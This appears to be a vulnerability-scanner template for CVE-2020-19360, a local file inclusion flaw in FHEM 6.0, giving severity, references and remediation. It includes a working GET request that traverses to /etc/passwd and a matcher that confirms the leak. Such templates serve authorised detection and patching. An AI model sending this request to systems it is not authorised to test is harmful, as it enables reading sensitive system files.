id: CVE-2020-19360 info: name: FHEM 6.0 - Local File Inclusion author: 0x_Akoko severity: high description: FHEM version 6.0 suffers from a local file inclusion vulnerability. remediation: | Apply the latest patch or upgrade to a version that is not affected by the vulnerability. reference: - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability - https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png - https://nvd.nist.gov/vuln/detail/CVE-2020-19360 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-19360 cwe-id: CWE-22 epss-score: 0.05605 epss-percentile: 0.92416 cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fhem product: fhem tags: fhem,lfi,cve,cve2020 http: - method: GET path: - "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a0047304502201268a271619be55412d526dc3c9dd00f5f8f25f639a7bee0460a385f737c5c9d022100e2acd913990fbe8e367e3d364d3b438ff2b12c7110e3c1072f12a5c759e6c6bf:922c64590222798bb761d5b6d8e72950